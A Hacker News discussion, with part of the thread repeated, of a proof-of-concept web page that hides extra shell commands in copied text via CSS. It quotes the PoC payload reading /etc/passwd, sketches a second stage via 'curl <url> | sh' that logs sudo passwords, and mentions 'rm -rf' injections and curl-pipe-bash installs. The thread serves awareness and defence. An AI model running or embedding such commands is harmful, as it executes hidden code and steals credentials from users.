24 ms·

Don't Copy-Paste from Website to Terminal

689 points by dave1010uk 14y ago

mistofvongola 14y ago
This is another reason I always type a '#' before copy/pasting any long commands. The main reason is that I sometimes want to edit a long copied command and sometimes a newline get caught in my 'copy'. The '#' prevents it from accidentally executing.
- Aga 14y ago
  As explained above, this will help only against the first line of the attack (until the first newline character). The subsequent lines will be executed. A better solution would be to paste the text in to an editor.
- deleted 14y ago
  [deleted]
- dmourati 14y ago
  the pound trick is the sign of a true professional
dave1010uk 14y ago
Note: if you don't trust this, paste into a text editor! It works with this CSS: position: absolute; left: -100px; top: -100px
- deleted 14y ago
  [deleted]
- nwh 14y ago
  I wonder if you could do the same with Unicode control characters. There's probably something in the depths of the library that would have a similar outcome.
hollerith 14y ago
One of many examples by which making the web a better "application-delivery" platform makes it less secure, less reliable, less predictable and more tedious in its original role of sharing text, images and links.
- ams6110 14y ago
 And another good reason to not work in root shells routinely. As damaging as something like this might still be, it will be confined to just one account if you are not running as root.
 - TheJH_ 14y ago
 Well, if I had really wanted to build a serious attack instead of a harmless PoC, I'd have downloaded a second stage via `curl <url> | sh`, and that script would, for example, set aliases in your shell for `su` and `sudo` that call the real commands but log your password in the background. Unless you're using requiretty, of course, but I don't assume that you're using a real tty.
 - nodata 14y ago
 I think that's bad advice: you would likely be running as your user account, the one owning all your important data.
 - eli 14y ago
 True, though not very comforting since it's presumably running in a shell that has access to all your files and is where you do all your work.
 - jstanley 14y ago
 Even if you're not root, if you're having trouble setting something up (which is why you're copying things off the web in the first place), you likely have a fresh sudo timestamp, so the attacker could become root anyway.
 - micampe 14y ago
 I always thought this concept to be silly unless you are a sysadmin. For most people who are not sysadmins losing ~ is much worse than losing /. Go ahead and wipe my OS, I just care for my photos to be safe.
moonboots 14y ago
Bash and Zsh provide shortcuts to open a text editor where commands can be pasted and edited before running (Ctrl-x Ctrl-e in bash, need to enable in zsh [2]). I've been using this on Linux not for security but because I'm still confused by X11's primary and clipboard selections [1]. It seems like every time I try to paste a github repo link, I get the last chunk of code I copied and vice versa. [1] http://www.nongnu.org/autocutsel/ http://www.nongnu.org/autocutsel/ [2] Sample .zshrc to map edit-command-line to Ctrl-x e: autoload edit-command-line zle -N edit-command-line bindkey '^Xe' edit-command-line edit: fixed shortcut for bash edit: forgot about my .zshrc
- jfr 14y ago
  Ctrl-x e in zsh is '_expand_word'. The function you are talking about is 'edit-command-line', which is not loaded or bound to any key by default in zsh. You have to load it manually.
  - moonboots 14y ago
    Thanks, edited my post
- cmsj 14y ago
  Out of interest, what is confusing? If you select text it always goes into the selection buffer. If you also press the clipboard copy shortcut (so, Ctrl-C most of the time, sometimes Ctrl-Shift-C in a terminal) the selection is copied into the clipboard buffer. Ctrl-V (or, again, sometimes Ctrl-Shift-V in a terminal) pastes the clipboard buffer. Middle mouse button (or shift-Insert) pastes the selection buffer. Is there still room for confusion?
  - moonboots 14y ago
    I use rxvt and never figured out how to paste the clipboard buffer, so I use shift-insert to paste the primary buffer. Unfortunately, the primary buffer can be overwritten without my consent, e.g. an autofocused web input field. Vim and emacs also have their own shortcuts for accessing the clipboard buffer.
raymondh 14y ago
Nicely done! Here's the underlying source:  git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd git clone git://git.kernel.org/pub/scm/utils/kup/kup.git 
- cmsj 14y ago
 I was expecting it to be done with Javascript, which is, afaik, how the horrible websites that tack a URL and a "this quote came from blah" attribution, work. I hate all of this stuff and it is greatly saddening that browser vendors are not protecting us from it. It's like the pop-up-on-click days of old and it must stop. If I select some text and copy it, I am taking a very explicit action. I am giving the computer a very explicit instruction. There is no room for interpretation. It must not disobey me!
 - TheJH_ 14y ago
 Yes, I got the idea from all the sites that do it using Javascript, but I wanted to post the example to ##security, and half of the people there probably has the browser set to "block JS by default" :D
 - fnordfnordfnord 14y ago
 It'd be funnier if you invoke 'sl' in their shell.
 - TheJH_ 14y ago
 Definitely, I didn't even know that command :D - but I had to `apt-get install sl` on my machine first. Maybe just do a telnet to a nonstandard port on my server and then send special characters to do the animation? That could work...
LogicX 14y ago
Pasted result is: git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
- TheJH_ 14y ago
  You might want to mark the newlines in that command... without those, the attack would be pretty boring.
  - LogicX 14y ago
    fixed.
andrelaszlo 14y ago
I usually put a # before anything I paste into a terminal. Mostly because I sometimes get a newline at the end, but it will disarm this behavior too. I'm not sure if it works in all situations though. Edit: Won't work! Use a heredoc (<<paste) or the editor method suggested above instead.
- Qantourisc 14y ago
 Yea until they sneak in a \n there. Might not help.
 - deleted 14y ago
 [deleted]
- SoftwareMaven 14y ago
 Given that there are newlines in the text being copied, the # won't necessarily save you. Much better to use a text editor.
- bluetooth 14y ago
 It won't work in this situation. Multiple commands here are separated by newlines (like pressing enter on your keyboard) and putting # will only comment out the first one.
 - andrelaszlo 14y ago
 Yep, you're right. This one had a " char on the second line that made me confused. A heredoc will still work though, I should start doing that instead :)
dechols 14y ago
So the answer is to paste it into an editor first?
- obviouslygreen 14y ago
  This is what I do with anything I'm copying or pasting from anything into anything else, mostly because of the obnoxious and ubiquitous "let's copy and paste formatting as well as text" that presumably came from some insane desire for ubiquitous rich text.
- hluska 14y ago
  Or alternately, the solution is to paste it into your terminal, then take the time to read over what you pasted and make sure you understand what is going to happen before you hit enter. This is doubly important if the first word is 'sudo'!! Not only is this a good habit as far as security goes, it's also the best way I can think of to learn from problems.
  - Bootvis 14y ago
    If the text contains a newline the command[1] will be executed immediately so that won't protect you. [1]: At least, in the terminals I regularly use.
  - eropple 14y ago
    This isn't a solution--this is exactly the dangerous behavior that this webpage is trying to convince you not to do. Because they can put a newline in the malicious paste.
  - koenigdavidmj 14y ago
    There was a newline hidden in the one pasted here, so that's not an option. It would have run something no matter what.
- dalke 14y ago
  or "cat > /dev/null" and paste into the terminal to review.
bluetooth 14y ago
This is really just an extension of clickjacking - modifying the UI to trick the user into performing an undesired action. This is a pretty novel idea, and considering how many websites make use of this to slap their permalinks into copied text (albeit with flash, usually), I'm surprised this hasn't been thought of before. It would be an interesting experiment to sneak a harmless command after every snippet on a site like commandlinefu.com. Edit: Also while playing around, I remembered irssi actually has a defense against this. If you try pasting multiple lines, it can detect this. It presents you with a prompt asking if you really intended to paste >5 lines into the text field. I wonder if something like this could be implemented in a shell?
- icebraining 14y ago
  Even if the shell had such protection, they could just do 'evil command && visible command'.
  - bluetooth 14y ago
    Good point.
  - TheJH_ 14y ago
    If the shell had a protection against text pasted together with an ending newline (and would just strip that newline), it would help, I think.
- oelmekki 14y ago
  > This is really just an extension of clickjacking That's was my first thought too, but in fact, it's quite the reverse of clickjacking (even though the same basic idea is used). With clickjacking, you would positionate some opacity:0 link on top of some apparently legit link. Here, on the contrary, the malicious content is within the apparently legit content, then moved away with css (setting opacity to 0 would not do the trick). Not a big difference, but that would deserve a dedicated name, IMO.
Qantourisc 14y ago
IMO this is the browsers fault. One expects to copy the selected (visible) text. But kinda hard to fix ...
- pekk 14y ago
  Doesn't the browser have a model of which text is visible? It has to. So why not copy out of that model?
  - elliottcarlson 14y ago
    What constitues as visible though? There is the obvious non-visible CSS modifiers like display: hidden; - but at what point does an off screen rendered text actually count as hidden? If you were wanting to copy the entire contents of a page, and the browser assumed anything off screen was invisible then you would not be able to copy everything at once when it goes below the fold. Different screen resolutions and devices would cause other issues there as well.
    - LnxPrgr3 14y ago
      The text isn't just not visible right now. It can't become visible. It lives above and to the left of the start of the page. Surely the browser's aware of that.
- ukandy 14y ago
  Definitely the browsers fault here for the unexpected behaviour and one that could easily trip up those that are not aware of this sort issue (probably those copying and pasting from random sites).
joliss 14y ago
I suspect that the only way to effectively mitigate this is in the terminal application, by displaying a confirmation with the pasted text before accepting any multi-line[1] paste. For example here: https://code.google.com/p/iterm2/issues/detail?id=594 https://code.google.com/p/iterm2/issues/detail?id=594 [1] There may be other dangerous characters besides newlines, e.g. escape sequences. I'm not sure if it's possible to make an exhaustive list for something like Bash. Perhaps one has to guard against any paste?
- TheJH_ 14y ago
  That sounds like a really good approach.
- jakub_g 14y ago
  It's still possible to circumvent this by creating a one-liner using semicolons. Just grab a code like [2] and append `; rm -rf` to the selection. If the original selection was a one-liner, it'll still be. [2] http://stackoverflow.com/a/4777746/ http://stackoverflow.com/a/4777746/
  - joliss 14y ago
    My idea was that if you're pasting a single line, then at least you can review the command you pasted before hitting enter.
    - jakub_g 14y ago
      I've just realized that you meant the fact that multiline pastes are often immediately executed, right? I've tried various ways of input to my console (MINGW/WinXP) for multiline pastes, and the results are as follows: 1. Right-click multiline paste: unsafe (executes immediately) 2. Windows paste (alt-space, e, p): unsafe (executes immediately) 3. Insert or Shift-Insert: safe (pastes only the first line)
comex 14y ago
Well... yeah, but even without hidden text, what are you going to do after you clone the repository? Probably `make` or `ruby something.rb` or any number of other commands that can run arbitrary code. If you don't trust someone, you shouldn't be trying to clone their git repo in the first place.
- gizmo686 14y ago
  But the code I am copying is "git clone git://git.kernel.org/pub/scm/utils/kup/kup.git" I know what "git clone" does, and I do trust code from git.kernel.org.
  - gyepi 14y ago
    Actually, you're copying more than a git clone command. That's the point of the posting. Look at the source or paste into a text editor to see it.
    - 38leinad 14y ago
      i think gizmo686 is aware of that. what he says is that he trusted the source where he c&p's from. if you don't trurst the source you should not blindly copy any command. Even one flag/parameter that you might not know can do harm. There do not have to be hidden characters to make it harmful and dangerous.
  - shakesbeard 14y ago
    But do you trust the website, email, or other source, where you copied the command? If someone can spoof this link on the official kernel website, they may as well have access to other, way more sensitive resources.
- johnchristopher 14y ago
  It's not so much about cloning a repo than spilling this trick on blogs that explain how to run alsamixer to get skype recording running or install a package that is needed to debug a random joe's scrolling mouse problem. For things that requires a sudo for instance. Or a malicious `rm $HOME -rf`.
mobweb 14y ago
Wow, crazy, never really thought about this as an attack vector but it seems pretty obvious. I must confess that as a person who solves many problems by Googling I have directly pasted terminal commands from unknown websites countless times...
SG- 14y ago
I'm confused why this is even allowed by the browsers, you shouldn't be able to send something else to the clipboard. Are there any browser extensions that can 'fix' this issue?
- jiggy2011 14y ago
  Problem is , as far as the browser knows you meant to copy the whole thing. If you look at the source the actual text of that paragraph is what gets copied, they just use some sneaky CSS to make it not visible. It's not explicitly marked as hidden.
  - crazygringo 14y ago
    Yeah -- I mean, it would be easy enough for browsers to not include text marked as display:none or visibility:hidden. But there are so many other tricks to hiding text -- margin-left:-10000px, font-size:0, color:white, and so on, that there's really no way to avoid this. So I can't even imagine how a browser extention would 'fix' this -- no matter how clever it tried to be, there would almost always be some way around it.
    - gmaslov 14y ago
      OCR would work ;-)
      - LukeShu 14y ago
        So, I know that was a joke, but now I'm trying to figure out why it's a bad idea. The browser can generate some kind of map for which region of the screen is what font. If you don't have to guess the font, OCR should be easy and reliable. That takes care of the hidden text issue. But second, it means one would be able to copy/paste text that is in an image (because some web designers hate you).
        jiggy2011 14y ago
        But you don't select text by selecting an area technically, you select a sequence of characters. You could do a per character visibility test at the time of copying, but sometimes you want to copy test that is not currently visible on your screen. For example doing Ctrl+A in a document.
cmsj 14y ago
Out of interest, does anyone know of a Mac utility which will intercept the default paste shortcut and pop up a confirmation of what is going to be pasted, with a really quick interface to the previous few items that were copied to the clipboard?
- tres 14y ago
  Jumpcut is fairly close to what you're asking for. I guess you could map command + v to Jumpcut & override default paste functionality. Personally I prefer to use option + v. http://jumpcut.sourceforge.net http://jumpcut.sourceforge.net.
NelsonMinar 14y ago
Why would I bother copying and pasting the code to my clipboard when common industry practice now is just to invoke the output of curl directly? ruby -e "$(curl -fsSL https://raw.github.com/mxcl/homebrew/go https://raw.github.com/mxcl/homebrew/go)
- somesay 14y ago
  You are trusting some third-party everytime you download a proprietary or just big open-source app. Even on Open Source, you just have trust in the public review. In that example you can read the source before, the chances of an evil change just when loading it with your terminal is quite limited, MITM doesn't work that well on SSL, too.
- rytis 14y ago
  Really sad, especially when something like Chef-client is also installed in a similar fashion [0], one would expect these guys to know better: sudo true && curl -L https://www.opscode.com/chef/install.sh | sudo bash [0] http://wiki.opscode.com/display/chef/Installing+Omnibus+Chef+Client+on+Linux+and+Mac http://wiki.opscode.com/display/chef/Installing+Omnibus+Chef...
  - FooBarWidget 14y ago
    Know better... in order to do what? They also provide an APT repository, which you can choose to use instead of the curl command. The curl command exists solely for convenience, because it autodetects your OS, distro version, and automatically registers the right APT repository for you if you're on Debian. As I've mentioned here (https://news.ycombinator.com/item?id=5508680 https://news.ycombinator.com/item?id=5508680), people often freak out at curl commands, yet at the same time I've yet to see a viable proposal for an alternative.
    - mscarborough 14y ago
      Well, the downloaded bash script does all that, and a user is always free to leave the last piping-into-bash command off. They can review it first, and then run as sudo (or whoever) if it passes muster. It's not that much different, so I don't understand the huge problem. Most likely if tutorial writers added a second step, the user would just copypasta the second step also. Thankfully I followed this procedure after a co-worker sent me this: `curl -L http://bit.ly/10hA8iC http://bit.ly/10hA8iC | bash` ... was able to turn my speakers down first ;)
deleted 14y ago
[deleted]
kyllo 14y ago
Yes, but not just that. It's also important to make an effort to understand what commands you are typing into your shell before typing them (Google them first if you don't know).
gyepi 14y ago
FWIW, I use shell mode in emacs most of the time and it happily accepts, and buffers, multiline commands until you hit enter, unlike the terminal.
Tyr42 14y ago
Actually, since I tried to copy it by triple clicking, which selects one line (at least, I expect it to. It's what sublime text does). That didn't copy any of the malicious text, and it just stopped between the clone and the url.
- TheJH_ 14y ago
  I feared someone would do that. :D Well, it'd be easy to work around this if you have JS enabled... without it, it would probably not be so easy to trick you into copying multiple lines.
  - lmm 14y ago
    Even normal selection "stuck" funnily; I could tell there was something between the clone and the rest of it. Again, possible to mitigate I'm sure.
vxNsr 14y ago
This doesn't seem like such a big deal You have one of two ways to combat this: 1) always copy things to notepad first so whatever it is that you copied you can verify is what you meant to copy 2) Use the inspection tool of your browser to copy it from source where things can't really be hidden. I usually do #1 anyway because of weird formatting and characters
jayferd 14y ago
I mean, untarring a downloaded tarball from somewhere and running `make` is just as dangerous, right? Only there you can make sure the checksum matches, but people skip that step all the time.
- deno 14y ago
  Matches against what? If the website is compromised the checksum can be compromised as well. If the tarball is not pgp signed by the author (e.g. Bazaar and Tor Project do that), checking the checksum is basically checking if the server you’re downloading from didn’t have any silent data corruption (see recent KDE hosting incident), because in transit TCP does its own checksumming anyway.
- ProblemFactory 14y ago
  Running code that you don't trust is a bad idea. But the point of the article is: * When copying from the web, what you see on the page might not be what ends up in your clipboard, * When pasting into a terminal, any text with endlines will execute immediately. As a result, just pasting anything from the web into a terminal window might execute arbitrary code, without any further action on your part.
- runn1ng 14y ago
  You should basically compile everything yourself and read all the source code yourself if you want to be secure. Good luck with that though. (Escpecially with things like, I don't know, browsers.)
  - jayferd 14y ago
    My point exactly. No one is ever actually going to read all the code, so you have to start your trust somewhere. Especially if you're going to type `sudo make install` at the end (which is why I advocate things like ~/.local to prevent the need for that, but I digress).
- vacri 14y ago
  Have you never seen a third-party How To?
miles 14y ago
Lynx user not affected: http://tinyapps.org/lynx_not_affected.png http://tinyapps.org/lynx_not_affected.png
- Thrall 14y ago
  I noticed this too. Sometimes the simple solutions are the best (compare with the long thread of suggested solutions further down this page). It's like a master-criminal's subtle and sophisticated plan being foiled by a simpleton because it assumed that the victims would be able to read.
networked 14y ago
Perhaps the real problem here is that, as noted by Ted Nelson back when the concept started to gain popularity, "[the computer clipboard is] just like a regular clipboard, except (a) you can't see it, (b) it holds only one object, (c) whatever you put there destroys the previous contents." The presented vulnerability hinges on (a), and, Glipper [1] notwithstanding, (a)-(c) is still the default behavior in every GUI I use. [1] https://launchpad.net/glipper https://launchpad.net/glipper
- SoftwareMaven 14y ago
  Because of b and c, I would go nuts trying to use a text editor that didn't support an emacs-like "clipboard"[1] ring. I'm constantly dumping stuff in and pulling it out in arbitrary order. It is nice to have a solution to a in the process, too. 1. Yes, I know it is a kill ring in emacs.
Achshar 14y ago
Select the text and right click to copy. The trick is over when the "search google for 'malicious text' comes up instead of the command in chrome.
- TheJH_ 14y ago
  Right... for a real attack, you'd have to hide the evil commands near the end of the normal-looking one (the string you see there is truncated). I thought about doing that, but it'd give you a few seconds to react in this example because you'd have the git command run first. Hmm, maybe it'd be doable using backticks or so? Those could be put at the end and would evaluate first anyway...
vishnumenon 14y ago
I was just thinking it might be cool to have a service that site owners could include via JS that would ensure that the content in a div is the content seen by the user. It could have a little stamp that says "Verified by SuchAndSuch" in the corner of the div. Should I try to make this? Any obvious issues? Is it worth it?
fidz 14y ago
In bitbucket, you could simply copy paste clone command in the text field. Isn't text field is far more safe since there should no hidden element?
guntursaptap 14y ago
I agree with don't copy paste. because i hate with copy paste
tubbo 14y ago
That's really cool. :)
anarchotroll 14y ago
Copying with pentadactyl using Y shows exactly what has been copied on the status line at the bottom of the screen.
keekdown 14y ago
Hmmm...I just hasn’t been thinking about such things
pnathan 14y ago
Well done, sir. Thanks for bringing this up.
jeromeparadis 14y ago
That's why I always paste to my text editor and copy from there before pasting anything from a Web page.
seldo 14y ago
Or possibly "don't follow instructions from people you don't trust", regardless of what they tell you to do.
cirwin 14y ago
Good terminal emulators (xterm, urxvt, iTerm2, etc.) have support for "bracketed paste mode" which can be used to fix this problem in zsh: https://github.com/robbyrussell/oh-my-zsh/pull/1698 https://github.com/robbyrussell/oh-my-zsh/pull/1698 (original code: http://www.zsh.org/mla/users/2011/msg00367.html http://www.zsh.org/mla/users/2011/msg00367.html) It's probably easy to write a similar fix for bash.
- TheJH_ 14y ago
  I initially thought it'd work, but actually, this protection can be circumvented. See the updated version of http://thejh.net/misc/website-terminal-copy-paste http://thejh.net/misc/website-terminal-copy-paste.
chickopozo 14y ago
How is this news? Its been done so many times I've lost count.
deleted 14y ago
[deleted]
munimkazia 14y ago
Did it stop working for anyone the second time? I tried it once, and it worked (gave me the warning and first line of my /etc/passwd file). I wanted to show it to a coworker but it mysteriously stopped working. It is just copying the displayed text now. Kinda weird.. Using Google Chrome 26.0.1410.43 on ubuntu 12.10 64bit.
ck2 14y ago
Can browsers fix this behavior? It seems like a security hole for many reasons. The default should be to copy plain text as highlighted, and advanced right click for html based copying.
radioxid 14y ago
I always paste my things inside Chrome's Omnibar. It trims surrounding spaces and associated style.
umarrana 14y ago
shit you almost killed me
jpswade 14y ago
Unless it's from a trusted source...
Thrall 14y ago
There is a subtle hint that all is not well if you try to select the code using triple-click: it will only select one half at a time, suggesting it is not the one-liner it appears to be...
- tete 14y ago
  Problem is that this is frequently the case, because of stuff like syntax highlighting.
melicerte 14y ago
what I usually do before pasting insecure clipboard content to a terminal is that I start with a double quotes character " Once I see the real output, I just have to remove the quotes (<ctrl-a> <del><return>)
Justsignedup 14y ago
ok, honestly, where is the ability to disable clipboard manipulation or similar techniques? Browsers need to do this. I have NEVER seen value if a website's ability to modify my clipboard.
- ricket 14y ago
  That's a different issue from the one here, actually. View the source. No JS in the page at all; just an invisible span in the middle of the code to be copy-pasted.
deleted 14y ago
[deleted]

689 points by dave1010uk 14y ago

This is another reason I always type a '#' before copy/pasting any long commands. The main reason is that I sometimes want to edit a long copied command and sometimes a newline get caught in my 'copy'. The '#' prevents it from accidentally executing.

Aga 14y ago
As explained above, this will help only against the first line of the attack (until the first newline character). The subsequent lines will be executed. A better solution would be to paste the text in to an editor.
deleted 14y ago
[deleted]
dmourati 14y ago
the pound trick is the sign of a true professional

dave1010uk 14y ago

Note: if you don't trust this, paste into a text editor! It works with this CSS: position: absolute; left: -100px; top: -100px

deleted 14y ago
[deleted]
nwh 14y ago
I wonder if you could do the same with Unicode control characters. There's probably something in the depths of the library that would have a similar outcome.

hollerith 14y ago

One of many examples by which making the web a better "application-delivery" platform makes it less secure, less reliable, less predictable and more tedious in its original role of sharing text, images and links.

ams6110 14y ago
And another good reason to not work in root shells routinely. As damaging as something like this might still be, it will be confined to just one account if you are not running as root.
- TheJH_ 14y ago
 Well, if I had really wanted to build a serious attack instead of a harmless PoC, I'd have downloaded a second stage via `curl <url> | sh`, and that script would, for example, set aliases in your shell for `su` and `sudo` that call the real commands but log your password in the background. Unless you're using requiretty, of course, but I don't assume that you're using a real tty.
- nodata 14y ago
 I think that's bad advice: you would likely be running as your user account, the one owning all your important data.
- eli 14y ago
 True, though not very comforting since it's presumably running in a shell that has access to all your files and is where you do all your work.
- jstanley 14y ago
 Even if you're not root, if you're having trouble setting something up (which is why you're copying things off the web in the first place), you likely have a fresh sudo timestamp, so the attacker could become root anyway.
- micampe 14y ago
 I always thought this concept to be silly unless you are a sysadmin. For most people who are not sysadmins losing ~ is much worse than losing /. Go ahead and wipe my OS, I just care for my photos to be safe.

moonboots 14y ago

Bash and Zsh provide shortcuts to open a text editor where commands can be pasted and edited before running (Ctrl-x Ctrl-e in bash, need to enable in zsh [2]). I've been using this on Linux not for security but because I'm still confused by X11's primary and clipboard selections [1]. It seems like every time I try to paste a github repo link, I get the last chunk of code I copied and vice versa. [1] http://www.nongnu.org/autocutsel/ http://www.nongnu.org/autocutsel/ [2] Sample .zshrc to map edit-command-line to Ctrl-x e: autoload edit-command-line zle -N edit-command-line bindkey '^Xe' edit-command-line edit: fixed shortcut for bash edit: forgot about my .zshrc

jfr 14y ago
Ctrl-x e in zsh is '_expand_word'. The function you are talking about is 'edit-command-line', which is not loaded or bound to any key by default in zsh. You have to load it manually.
- moonboots 14y ago
  Thanks, edited my post
cmsj 14y ago
Out of interest, what is confusing? If you select text it always goes into the selection buffer. If you also press the clipboard copy shortcut (so, Ctrl-C most of the time, sometimes Ctrl-Shift-C in a terminal) the selection is copied into the clipboard buffer. Ctrl-V (or, again, sometimes Ctrl-Shift-V in a terminal) pastes the clipboard buffer. Middle mouse button (or shift-Insert) pastes the selection buffer. Is there still room for confusion?
- moonboots 14y ago
  I use rxvt and never figured out how to paste the clipboard buffer, so I use shift-insert to paste the primary buffer. Unfortunately, the primary buffer can be overwritten without my consent, e.g. an autofocused web input field. Vim and emacs also have their own shortcuts for accessing the clipboard buffer.

raymondh 14y ago

Nicely done! Here's the underlying source:  git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

cmsj 14y ago
I was expecting it to be done with Javascript, which is, afaik, how the horrible websites that tack a URL and a "this quote came from blah" attribution, work. I hate all of this stuff and it is greatly saddening that browser vendors are not protecting us from it. It's like the pop-up-on-click days of old and it must stop. If I select some text and copy it, I am taking a very explicit action. I am giving the computer a very explicit instruction. There is no room for interpretation. It must not disobey me!
- TheJH_ 14y ago
  Yes, I got the idea from all the sites that do it using Javascript, but I wanted to post the example to ##security, and half of the people there probably has the browser set to "block JS by default" :D
  - fnordfnordfnord 14y ago
    It'd be funnier if you invoke 'sl' in their shell.
    - TheJH_ 14y ago
      Definitely, I didn't even know that command :D - but I had to `apt-get install sl` on my machine first. Maybe just do a telnet to a nonstandard port on my server and then send special characters to do the animation? That could work...

LogicX 14y ago

Pasted result is: git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

TheJH_ 14y ago
You might want to mark the newlines in that command... without those, the attack would be pretty boring.
- LogicX 14y ago
  fixed.

andrelaszlo 14y ago

I usually put a # before anything I paste into a terminal. Mostly because I sometimes get a newline at the end, but it will disarm this behavior too. I'm not sure if it works in all situations though. Edit: Won't work! Use a heredoc (<<paste) or the editor method suggested above instead.

Qantourisc 14y ago
Yea until they sneak in a \n there. Might not help.
- deleted 14y ago
  [deleted]
SoftwareMaven 14y ago
Given that there are newlines in the text being copied, the # won't necessarily save you. Much better to use a text editor.
bluetooth 14y ago
It won't work in this situation. Multiple commands here are separated by newlines (like pressing enter on your keyboard) and putting # will only comment out the first one.
- andrelaszlo 14y ago
  Yep, you're right. This one had a " char on the second line that made me confused. A heredoc will still work though, I should start doing that instead :)

dechols 14y ago

So the answer is to paste it into an editor first?

obviouslygreen 14y ago
This is what I do with anything I'm copying or pasting from anything into anything else, mostly because of the obnoxious and ubiquitous "let's copy and paste formatting as well as text" that presumably came from some insane desire for ubiquitous rich text.
hluska 14y ago
Or alternately, the solution is to paste it into your terminal, then take the time to read over what you pasted and make sure you understand what is going to happen before you hit enter. This is doubly important if the first word is 'sudo'!! Not only is this a good habit as far as security goes, it's also the best way I can think of to learn from problems.
- Bootvis 14y ago
  If the text contains a newline the command[1] will be executed immediately so that won't protect you. [1]: At least, in the terminals I regularly use.
- eropple 14y ago
  This isn't a solution--this is exactly the dangerous behavior that this webpage is trying to convince you not to do. Because they can put a newline in the malicious paste.
- koenigdavidmj 14y ago
  There was a newline hidden in the one pasted here, so that's not an option. It would have run something no matter what.
dalke 14y ago
or "cat > /dev/null" and paste into the terminal to review.

bluetooth 14y ago

This is really just an extension of clickjacking - modifying the UI to trick the user into performing an undesired action. This is a pretty novel idea, and considering how many websites make use of this to slap their permalinks into copied text (albeit with flash, usually), I'm surprised this hasn't been thought of before. It would be an interesting experiment to sneak a harmless command after every snippet on a site like commandlinefu.com. Edit: Also while playing around, I remembered irssi actually has a defense against this. If you try pasting multiple lines, it can detect this. It presents you with a prompt asking if you really intended to paste >5 lines into the text field. I wonder if something like this could be implemented in a shell?

icebraining 14y ago
Even if the shell had such protection, they could just do 'evil command && visible command'.
- bluetooth 14y ago
  Good point.
- TheJH_ 14y ago
  If the shell had a protection against text pasted together with an ending newline (and would just strip that newline), it would help, I think.
oelmekki 14y ago
> This is really just an extension of clickjacking That's was my first thought too, but in fact, it's quite the reverse of clickjacking (even though the same basic idea is used). With clickjacking, you would positionate some opacity:0 link on top of some apparently legit link. Here, on the contrary, the malicious content is within the apparently legit content, then moved away with css (setting opacity to 0 would not do the trick). Not a big difference, but that would deserve a dedicated name, IMO.

Qantourisc 14y ago

IMO this is the browsers fault. One expects to copy the selected (visible) text. But kinda hard to fix ...

pekk 14y ago
Doesn't the browser have a model of which text is visible? It has to. So why not copy out of that model?
- elliottcarlson 14y ago
  What constitues as visible though? There is the obvious non-visible CSS modifiers like display: hidden; - but at what point does an off screen rendered text actually count as hidden? If you were wanting to copy the entire contents of a page, and the browser assumed anything off screen was invisible then you would not be able to copy everything at once when it goes below the fold. Different screen resolutions and devices would cause other issues there as well.
  - LnxPrgr3 14y ago
    The text isn't just not visible right now. It can't become visible. It lives above and to the left of the start of the page. Surely the browser's aware of that.
ukandy 14y ago
Definitely the browsers fault here for the unexpected behaviour and one that could easily trip up those that are not aware of this sort issue (probably those copying and pasting from random sites).

joliss 14y ago

I suspect that the only way to effectively mitigate this is in the terminal application, by displaying a confirmation with the pasted text before accepting any multi-line[1] paste. For example here: https://code.google.com/p/iterm2/issues/detail?id=594 https://code.google.com/p/iterm2/issues/detail?id=594 [1] There may be other dangerous characters besides newlines, e.g. escape sequences. I'm not sure if it's possible to make an exhaustive list for something like Bash. Perhaps one has to guard against any paste?

TheJH_ 14y ago
That sounds like a really good approach.
jakub_g 14y ago
It's still possible to circumvent this by creating a one-liner using semicolons. Just grab a code like [2] and append `; rm -rf` to the selection. If the original selection was a one-liner, it'll still be. [2] http://stackoverflow.com/a/4777746/ http://stackoverflow.com/a/4777746/
- joliss 14y ago
  My idea was that if you're pasting a single line, then at least you can review the command you pasted before hitting enter.
  - jakub_g 14y ago
    I've just realized that you meant the fact that multiline pastes are often immediately executed, right? I've tried various ways of input to my console (MINGW/WinXP) for multiline pastes, and the results are as follows: 1. Right-click multiline paste: unsafe (executes immediately) 2. Windows paste (alt-space, e, p): unsafe (executes immediately) 3. Insert or Shift-Insert: safe (pastes only the first line)

comex 14y ago

Well... yeah, but even without hidden text, what are you going to do after you clone the repository? Probably `make` or `ruby something.rb` or any number of other commands that can run arbitrary code. If you don't trust someone, you shouldn't be trying to clone their git repo in the first place.

gizmo686 14y ago
But the code I am copying is "git clone git://git.kernel.org/pub/scm/utils/kup/kup.git" I know what "git clone" does, and I do trust code from git.kernel.org.
- gyepi 14y ago
  Actually, you're copying more than a git clone command. That's the point of the posting. Look at the source or paste into a text editor to see it.
  - 38leinad 14y ago
    i think gizmo686 is aware of that. what he says is that he trusted the source where he c&p's from. if you don't trurst the source you should not blindly copy any command. Even one flag/parameter that you might not know can do harm. There do not have to be hidden characters to make it harmful and dangerous.
- shakesbeard 14y ago
  But do you trust the website, email, or other source, where you copied the command? If someone can spoof this link on the official kernel website, they may as well have access to other, way more sensitive resources.
johnchristopher 14y ago
It's not so much about cloning a repo than spilling this trick on blogs that explain how to run alsamixer to get skype recording running or install a package that is needed to debug a random joe's scrolling mouse problem. For things that requires a sudo for instance. Or a malicious `rm $HOME -rf`.

mobweb 14y ago

Wow, crazy, never really thought about this as an attack vector but it seems pretty obvious. I must confess that as a person who solves many problems by Googling I have directly pasted terminal commands from unknown websites countless times...

SG- 14y ago

I'm confused why this is even allowed by the browsers, you shouldn't be able to send something else to the clipboard. Are there any browser extensions that can 'fix' this issue?

jiggy2011 14y ago
Problem is , as far as the browser knows you meant to copy the whole thing. If you look at the source the actual text of that paragraph is what gets copied, they just use some sneaky CSS to make it not visible. It's not explicitly marked as hidden.
- crazygringo 14y ago
